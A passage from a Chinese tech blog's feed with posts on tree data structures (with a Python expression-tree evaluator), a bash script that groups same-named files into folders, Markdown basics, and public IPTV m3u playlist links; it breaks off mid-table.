class="line">7</span><br></pre></td><td class="code"><pre><span class="line">    A</span><br><span class="line">   / \</span><br><span class="line">  B   C</span><br><span class="line"> / \   \</span><br><span class="line">D   E   F</span><br><span class="line">/ \</span><br><span class="line">G   H</span><br></pre></td></tr></table></figure><h2 id="树的操作">树的操作</h2><p><strong>插入（Insertion）</strong>：在树中添加新结点。<br><strong>删除（Deletion）</strong>：从树中删除指定结点。<br><strong>查找（Search）</strong>：在树中查找特定结点。<br><strong>合并（Merge）</strong>：将两棵树合并成一棵树。<br><strong>分裂（Split）</strong>：将一棵树分裂成两棵树。</p><h2 id="树的应用">树的应用</h2><p><strong>文件系统</strong>：文件和目录的组织结构。<br><strong>表达式树</strong>：表示和计算算术表达式。<br><strong>决策树</strong>：用于机器学习中的分类和回归问题。<br><strong>XML/HTML解析</strong>：DOM树结构，用于解析和操作XML/HTML文档。<br><strong>路由算法</strong>：网络中的路径选择。<br><strong>数据索引</strong>：如数据库索引（B树、B+树）。<br><strong>字符串处理</strong>：如Trie用于快速字符串检索。</p><h2 id="树的复杂度分析">树的复杂度分析</h2><p><strong>时间复杂度</strong>：讨论树的各种操作（如插入、删除、查找）的时间复杂度。<br><strong>空间复杂度</strong>：树的存储空间需求分析。</p><h2 id="树的实现">树的实现</h2><p><strong>编程语言示例</strong>：使用常见编程语言（如Python、Java、C++）实现各种树结构和操作。<br><strong>案例分析</strong>：具体应用中的树结构实现，如实现一个简单的文件系统或表达式计算器。<br>以python实现一个表达式计算器为例</p><h3 id="数据结构">数据结构</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">TreeNode</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, value</span>):</span><br><span class="line">        <span class="variable language_">self</span>.value = value</span><br><span class="line">        <span class="variable language_">self</span>.left = <span class="literal">None</span></span><br><span class="line">        <span class="variable language_">self</span>.right = <span class="literal">None</span></span><br></pre></td></tr></table></figure><h3 id="表达式树的构建和计算">表达式树的构建和计算</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">ExpressionTree</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.root = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">build_tree</span>(<span class="params">self, expression</span>):</span><br><span class="line">        stack = []</span><br><span class="line">        <span class="keyword">for</span> char <span class="keyword">in</span> expression:</span><br><span class="line">            <span class="keyword">if</span> char.isdigit():</span><br><span class="line">                node = TreeNode(char)</span><br><span class="line">                stack.append(node)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                node = TreeNode(char)</span><br><span class="line">                node.right = stack.pop()</span><br><span class="line">                node.left = stack.pop()</span><br><span class="line">                stack.append(node)</span><br><span class="line">        <span class="variable language_">self</span>.root = stack.pop()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">evaluate</span>(<span class="params">self, node</span>):</span><br><span class="line">        <span class="keyword">if</span> node.left <span class="keyword">is</span> <span class="literal">None</span> <span class="keyword">and</span> node.right <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">int</span>(node.value)</span><br><span class="line">        left_value = <span class="variable language_">self</span>.evaluate(node.left)</span><br><span class="line">        right_value = <span class="variable language_">self</span>.evaluate(node.right)</span><br><span class="line">        <span class="keyword">if</span> node.value == <span class="string">&#x27;+&#x27;</span>:</span><br><span class="line">            <span class="keyword">return</span> left_value + right_value</span><br><span class="line">        <span class="keyword">elif</span> node.value == <span class="string">&#x27;-&#x27;</span>:</span><br><span class="line">            <span class="keyword">return</span> left_value - right_value</span><br><span class="line">        <span class="keyword">elif</span> node.value == <span class="string">&#x27;*&#x27;</span>:</span><br><span class="line">            <span class="keyword">return</span> left_value * right_value</span><br><span class="line">        <span class="keyword">elif</span> node.value == <span class="string">&#x27;/&#x27;</span>:</span><br><span class="line">            <span class="keyword">return</span> left_value / right_value</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">calculate</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="variable language_">self</span>.root <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">            <span class="keyword">raise</span> ValueError(<span class="string">&quot;The expression tree is empty&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>.evaluate(<span class="variable language_">self</span>.root)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">print_tree</span>(<span class="params">self, node, level=<span class="number">0</span></span>):</span><br><span class="line">        <span class="keyword">if</span> node <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">            <span class="variable language_">self</span>.print_tree(node.right, level + <span class="number">1</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&#x27; &#x27;</span> * <span class="number">4</span> * level + <span class="string">&#x27;-&gt;&#x27;</span>, node.value)</span><br><span class="line">            <span class="variable language_">self</span>.print_tree(node.left, level + <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 示例表达式</span></span><br><span class="line">expression = <span class="string">&quot;34+5*&quot;</span></span><br><span class="line">tree = ExpressionTree()</span><br><span class="line">tree.build_tree(expression)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;表达式树:&quot;</span>)</span><br><span class="line">tree.print_tree(tree.root)</span><br><span class="line"></span><br><span class="line">result = tree.calculate()</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;计算结果:&quot;</span>, result)</span><br></pre></td></tr></table></figure><h3 id="详细解释">详细解释</h3><ol><li><strong>TreeNode 类</strong>：用于表示树中的每个节点。每个节点要么是一个操作数（数字），要么是一个操作符（<code>+</code>、<code>-</code>、<code>*</code>、<code>/</code>）。</li><li><strong>ExpressionTree 类</strong>：用于表示整个表达式树。<ul><li><code>build_tree</code> 方法：从后缀表达式构建表达式树。使用栈将操作数推入栈中，遇到操作符时，弹出两个操作数作为左右子节点。</li><li><code>evaluate</code> 方法：递归地计算表达式树的值。</li><li><code>calculate</code> 方法：计算表达式树的值，从根节点开始。</li><li><code>print_tree</code> 方法：打印表达式树的结构。</li></ul></li></ol><h3 id="示例运行结果">示例运行结果</h3><p>对于后缀表达式 <code>&quot;34+5*&quot;</code>，表达式树的结构为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    *</span><br><span class="line">   / \</span><br><span class="line">  +   5</span><br><span class="line"> / \</span><br><span class="line">3   4</span><br></pre></td></tr></table></figure><p>计算结果为 <code>(3 + 4) * 5</code>，即 <code>7 * 5</code>，结果为 <code>35</code>。</p>]]></content>
    
    
    <summary type="html">数据结构中树的说明和应用</summary>
    
    
    
    <category term="数据结构" scheme="https://blog.allbs.cn/categories/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
    
    
    <category term="数据结构" scheme="https://blog.allbs.cn/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
    
  </entry>
  
  <entry>
    <title>写一个脚本合并相同名称的文件至新建文件夹中</title>
    <link href="https://blog.allbs.cn/posts/50977/"/>
    <id>https://blog.allbs.cn/posts/50977/</id>
    <published>2024-05-15T07:57:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>有时候会碰到这种情况，一个文件夹中存在大量文件，有些文件名称相同但是文件类型不同。如果想要将名称相同的文件保存至一个新建的文件夹中，这个文件夹以共同的名称命名，应该如何操作？</p></blockquote><h2 id="类似结构如图">类似结构如图</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/1cac18988645d9b23fa27eca27ccb00e.png" alt="image.png"></p><p>目标是创建<code>这是AAA</code>,<code>这是BBB</code>,<code>这是CCC</code>文件夹并将相同名称的文件移动进去</p><h2 id="创建脚本">创建脚本</h2><p>如果是windows则新建一个文件并重新命名为<code>merge_files.sh</code>,如果是linux则<code>nano merge_files.sh</code>或者<code>vim merge_files.sh</code></p><h2 id="输入以下内容">输入以下内容</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出所有文件</span></span><br><span class="line"><span class="function"><span class="title">list_files</span></span>() &#123;</span><br><span class="line">    <span class="built_in">local</span> directory=<span class="string">&quot;<span class="variable">$1</span>&quot;</span></span><br><span class="line">    find <span class="string">&quot;<span class="variable">$directory</span>&quot;</span> -maxdepth 1 -<span class="built_in">type</span> f</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 显示文件列表</span></span><br><span class="line"><span class="function"><span class="title">display_files</span></span>() &#123;</span><br><span class="line">    <span class="built_in">local</span> files=(<span class="string">&quot;<span class="variable">$@</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;List of files:&quot;</span></span><br><span class="line">    <span class="keyword">for</span> file <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$&#123;files[@]&#125;</span>&quot;</span>; <span class="keyword">do</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$file</span>&quot;</span></span><br><span class="line">    <span class="keyword">done</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 合并文件</span></span><br><span class="line"><span class="function"><span class="title">merge_files</span></span>() &#123;</span><br><span class="line">    <span class="built_in">local</span> files=(<span class="string">&quot;<span class="variable">$@</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">declare</span> -A file_dict</span><br><span class="line">    <span class="built_in">local</span> errors=()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 分类文件</span></span><br><span class="line">    <span class="keyword">for</span> file <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$&#123;files[@]&#125;</span>&quot;</span>; <span class="keyword">do</span></span><br><span class="line">        base_name=$(<span class="built_in">basename</span> <span class="string">&quot;<span class="variable">$file</span>&quot;</span> | sed <span class="string">&#x27;s/\.[^.]*$//&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> [[ -z <span class="string">&quot;<span class="variable">$&#123;file_dict[&quot;$base_name&quot;]&#125;</span>&quot;</span> ]]; <span class="keyword">then</span></span><br><span class="line">            file_dict[<span class="string">&quot;<span class="variable">$base_name</span>&quot;</span>]=<span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">        file_dict[<span class="string">&quot;<span class="variable">$base_name</span>&quot;</span>]+=<span class="string">&quot;<span class="variable">$file</span>;&quot;</span></span><br><span class="line">    <span class="keyword">done</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 创建新文件夹并移动文件</span></span><br><span class="line">    <span class="keyword">for</span> base_name <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$&#123;!file_dict[@]&#125;</span>&quot;</span>; <span class="keyword">do</span></span><br><span class="line">        IFS=<span class="string">&#x27;;&#x27;</span> <span class="built_in">read</span> -r -a file_list &lt;&lt;&lt; <span class="string">&quot;<span class="variable">$&#123;file_dict[&quot;$base_name&quot;]&#125;</span>&quot;</span></span><br><span class="line">        new_folder=<span class="string">&quot;<span class="subst">$(dirname <span class="string">&quot;<span class="variable">$&#123;file_list[0]&#125;</span>&quot;</span>)</span>/<span class="variable">$base_name</span>&quot;</span></span><br><span class="line">        <span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$new_folder</span>&quot;</span></span><br><span class="line">        <span class="keyword">for</span> file <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$&#123;file_list[@]&#125;</span>&quot;</span>; <span class="keyword">do</span></span><br><span class="line">            <span class="built_in">mv</span> <span class="string">&quot;<span class="variable">$file</span>&quot;</span> <span class="string">&quot;<span class="variable">$new_folder</span>&quot;</span> 2&gt;/dev/null</span><br><span class="line">            <span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line">                errors+=(<span class="string">&quot;<span class="variable">$file</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">fi</span></span><br><span class="line">        <span class="keyword">done</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;Files moved to <span class="variable">$new_folder</span>&quot;</span></span><br><span class="line">    <span class="keyword">done</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 列出出错的文件</span></span><br><span class="line">    <span class="keyword">if</span> [ <span class="variable">$&#123;#errors[@]&#125;</span> -gt 0 ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;The following files could not be moved:&quot;</span></span><br><span class="line">        <span class="keyword">for</span> error <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$&#123;errors[@]&#125;</span>&quot;</span>; <span class="keyword">do</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$error</span>&quot;</span></span><br><span class="line">        <span class="keyword">done</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;All files moved successfully.&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 主函数</span></span><br><span class="line"><span class="function"><span class="title">main</span></span>() &#123;</span><br><span class="line">    <span class="keyword">if</span> [ <span class="variable">$#</span> -ne 1 ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;Usage: <span class="variable">$0</span> &lt;directory-path&gt;&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">local</span> directory=<span class="string">&quot;<span class="variable">$1</span>&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> [ ! -d <span class="string">&quot;<span class="variable">$directory</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;Error: Directory <span class="variable">$directory</span> does not exist.&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">mapfile</span> -t files &lt; &lt;(list_files <span class="string">&quot;<span class="variable">$directory</span>&quot;</span>)</span><br><span class="line">    display_files <span class="string">&quot;<span class="variable">$&#123;files[@]&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">read</span> -p <span class="string">&quot;Do you want to merge files with the same name but different extensions? (Y/N): &quot;</span> choice</span><br><span class="line">    <span class="keyword">if</span> [[ <span class="string">&quot;<span class="variable">$choice</span>&quot;</span> == <span class="string">&quot;Y&quot;</span> || <span class="string">&quot;<span class="variable">$choice</span>&quot;</span> == <span class="string">&quot;y&quot;</span> ]]; <span class="keyword">then</span></span><br><span class="line">        merge_files <span class="string">&quot;<span class="variable">$&#123;files[@]&#125;</span>&quot;</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;No files were merged.&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 运行主函数</span></span><br><span class="line">main <span class="string">&quot;<span class="variable">$@</span>&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="运行脚本">运行脚本</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./merge_files.sh 需要合并的文件夹路径</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/dbbe24c83a94b151635ba300bd3a9089.png" alt="image.png"><br>不同的shell目录展示会有所不同，我这用的是<code>cmder</code>所以如上图展示，其他可能直接目录是<code>E://test</code></p><h2 id="执行以及结果输出">执行以及结果输出</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/721d36eb92ed18b3f950b6081b956bed.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">有时候会碰到这种情况，一个文件夹中存在大量文件，有些文件名称相同但是文件类型不同。如果想要将名称相同的文件保存至一个新建的文件夹中，这个文件夹以共同的名称命名，应该如何操作？</summary>
    
    
    
    <category term="脚本" scheme="https://blog.allbs.cn/categories/%E8%84%9A%E6%9C%AC/"/>
    
    
    <category term="脚本" scheme="https://blog.allbs.cn/tags/%E8%84%9A%E6%9C%AC/"/>
    
  </entry>
  
  <entry>
    <title>为何建议使用markdown来写文档、写笔记</title>
    <link href="https://blog.allbs.cn/posts/52599/"/>
    <id>https://blog.allbs.cn/posts/52599/</id>
    <published>2024-05-08T01:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>Markdown 是一种轻量级标记语言，自2004年由John Gruber和Aaron Swartz共同创建以来，它已经成为编写网页内容和文档的一种流行方式。Markdown 的设计初衷是使文本编写尽可能简单和直观，同时仍然具备转换为HTML的能力，以便于发布到互联网上。同时随着限制编译器的发展markdown可以随意的转换为word、pdf等格式，其转换后的样式同markdown预览一致，使得你可以不用学习繁琐的word各种操作也能写出漂亮的word和pdf。</p></blockquote><h1>优势</h1><ul><li><strong>简洁性和易读性</strong>：Markdown 的语法非常简单，使用纯文本就能实现丰富的格式展示，比如标题、列表、代码块、表格等。这种简单性保证了即使在没有格式化的情况下，文档的内容也是可读的。</li><li><strong>易于学习</strong>：Markdown 的语法元素非常少，常用的标记符号不超过十种，这使得用户可以在很短的时间内学会并开始使用Markdown进行文档编写。</li><li><strong>跨平台兼容</strong>：Markdown 文档为纯文本文件，可以在任何平台和设备上编辑和查看，无需担心兼容性问题。</li><li><strong>灵活转换</strong>：Markdown 文档可以轻松转换为HTML、PDF、Word等多种格式，方便发布到不同的平台和媒体。</li><li><strong>广泛支持</strong>：许多博客平台、论坛和文档编辑器支持Markdown，甚至在GitHub等代码托管平台上，Markdown 也成为文档和说明的标准格式。</li><li><strong>自定义样式</strong>：很多markdown编辑器都支持自定义css样式，这样可以让你一份基本的markdown文档呈现出千姿百态，只要是你能想的出的画面，而不需要对文档本身进行任何渲染优化。</li></ul><h1>基本用法</h1><ul><li><p><strong>标题</strong>：通过在文字前面添加<code>#</code>符号来创建标题。标题从<code>#</code>到<code>######</code>共六级，数量越多级别越低。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># 一级标题</span><br><span class="line">## 二级标题</span><br><span class="line">### 三级标题</span><br></pre></td></tr></table></figure></li><li><p><strong>加粗和斜体</strong>：使用<code>**</code>加粗文字，使用<code>*</code>或<code>_</code>使文字倾斜。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">**这是加粗的文字**</span><br><span class="line">*这是斜体文字*</span><br></pre></td></tr></table></figure></li></ul><p><strong>这是加粗的文字</strong><br><em>这是斜体文字</em></p><ul><li><p><strong>列表</strong>：使用<code>-</code>或<code>*</code>创建无序列表，使用数字加<code>.</code>创建有序列表。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">- 列表项一</span><br><span class="line">- 列表项二</span><br><span class="line">- 列表项三</span><br><span class="line"></span><br><span class="line">1. 第一项</span><br><span class="line">2. 第二项</span><br></pre></td></tr></table></figure></li><li><p>列表项一</p><ul><li>列表项二</li><li>列表项三</li></ul><ol><li>第一项</li><li>第二项</li></ol></li><li><p><strong>链接和图片</strong>：使用<code>[描述](链接)</code>插入链接，使用<code>![描述](图片链接)</code>插入图片。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[Google](http://google.com)</span><br><span class="line">![Logo](http://logo.png)</span><br></pre></td></tr></table></figure></li><li><p><strong>代码块</strong>：使用反引号<code>`</code>将代码包围起来创建单行代码，使用三个反引号<code>包围一段代码创建代码块。</code></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="code">`printf()`</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>printf(“Hello, world!”);</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">  ```</span><br><span class="line"></span><br><span class="line">- **引用**：使用`&gt;`符号进行文本引用。</span><br></pre></td></tr></table></figure><blockquote><p>这是一段引用文本。上方前言就是这种形式</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">- **表格**：使用`|`和`-`来创建表格。</span><br></pre></td></tr></table></figure><table><thead><tr><th>标题1</th><th>标题2</th><th>标题3</th></tr></thead><tbody><tr><td>内容1</td><td>内容2</td><td>内容3</td></tr><tr><td>内容4</td><td>内容5</td><td>内容6</td></tr></tbody></table><pre><code></code></pre></li></ul><h1>便捷操作markdown的软件</h1><ul><li>vscode:装个markdown插件即可</li><li>typora</li><li>Yank Note：github上开源，功能挺强</li><li>Obisdian：功能极强，但是上手难度很高</li><li>语雀</li><li>有道云文档(几年前用的时候发现其图片是自己按照一定规则存放在本地，文章拷贝到其他编译器图片不兼容，所以放弃了)</li></ul><h1>转为博客</h1><p>现代很多博客的框架都是使用markdown转换为网页的，如wordpress、hexo、vuepress等。大量开源的主题可以让你随心所欲的定制页面样式。</p><h1>微信公众号</h1><p>微信公众号其中的格式肯定不是人为的一个个去格式化的，有大量平台可以将文档格式化漂亮的样式，以墨滴为例：<br>使用不同主题渲染文档，很方便的将同一份文档表达成不同的形式：<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/44848891c75822ba0b646e0b3670849b.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/1d2529fab237975b07ec9ee78e0593a1.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/70e355feed601af7861dbb53885d01ca.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/0d67c7c14b8ab844161c3abfc0b9d1f5.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/5b0b788ec3e2b30dcfb9812a069c9c95.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">2024年了，希望更多人使用markdown记笔记、写文档。而不是txt、word之流。</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="markdown" scheme="https://blog.allbs.cn/tags/markdown/"/>
    
  </entry>
  
  <entry>
    <title>使用播放源直接收看全世界上万频道</title>
    <link href="https://blog.allbs.cn/posts/40527/"/>
    <id>https://blog.allbs.cn/posts/40527/</id>
    <published>2024-05-07T03:40:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>部分频道会有较大延迟，肯定比不上IPTV，但优势在于能收看全世界绝大数的频道，没有任何限制。</p></blockquote><h1>说明</h1><p>IPTV（互联网协议电视）是一种通过互联网协议（IP）传输电视内容的技术，允许用户通过互联网观看电视节目，而不是通过传统的地面广播、卫星或有线电视。IPTV常用来提供实时电视、视频点播和互动电视等服务。</p><p>m3u 是一种播放列表文件格式，通常用于存储多媒体播放列表信息。它可以包含音视频文件的本地路径或网络URL列表。对于 IPTV 来说，m3u 文件通常包含电视台的直播流 URL 列表，每个 URL 都对应一个电视台的直播频道或视频点播资源。用户可以通过 m3u 文件获取到频道列表，并通过支持 m3u 的媒体播放器或 IPTV 应用播放对应的频道。</p><p>m3u 文件在 IPTV 中起到了组织和分发电视台直播流信息的作用。</p><h1>github上搜索播放源</h1><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/2710f3abf6849f8b2dea57be4a3d830e.png" alt="image.png"></p><h1>查看star数最多的这个</h1><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/ced3b0e72dd26cfc61c1d3f3bff75b00.png" alt="image.png"><br>链接直达: <a href="https://github.com/iptv-org/iptv">https://github.com/iptv-org/iptv</a></p><h1>查看m3u文件</h1><p>可以直接把m3u文件导入到播放器中或者直接使用播放器打开m3u文件链接</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 所有频道地址</span><br><span class="line">https://iptv-org.github.io/iptv/index.m3u</span><br></pre></td></tr></table></figure><h2 id="按照频道类型划分">按照频道类型划分</h2><p>总的: <a href="https://iptv-org.github.io/iptv/index.category.m3u">https://iptv-org.github.io/iptv/index.category.m3u</a></p><table><thead><tr><th style="text-align:left">分类</th><th style="text-align:left">频道数</th><th style="text-align:left">播放地址</th></tr></thead><tbody><tr><td style="text-align:left">动画</td><td style="text-align:left">65</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/animation.m3u</code></td></tr><tr><td style="text-align:left">汽车</td><td style="text-align:left">17</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/auto.m3u</code></td></tr><tr><td style="text-align:left">商业</td><td style="text-align:left">65</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/business.m3u</code></td></tr><tr><td style="text-align:left">经典</td><td style="text-align:left">52</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/classic.m3u</code></td></tr><tr><td style="text-align:left">喜剧</td><td style="text-align:left">53</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/comedy.m3u</code></td></tr><tr><td style="text-align:left">烹饪</td><td style="text-align:left">25</td><td style="text-align:left"><code>https://iptv-org.github.io/iptv/categories/cooking.m3u</code></td></tr><tr><td 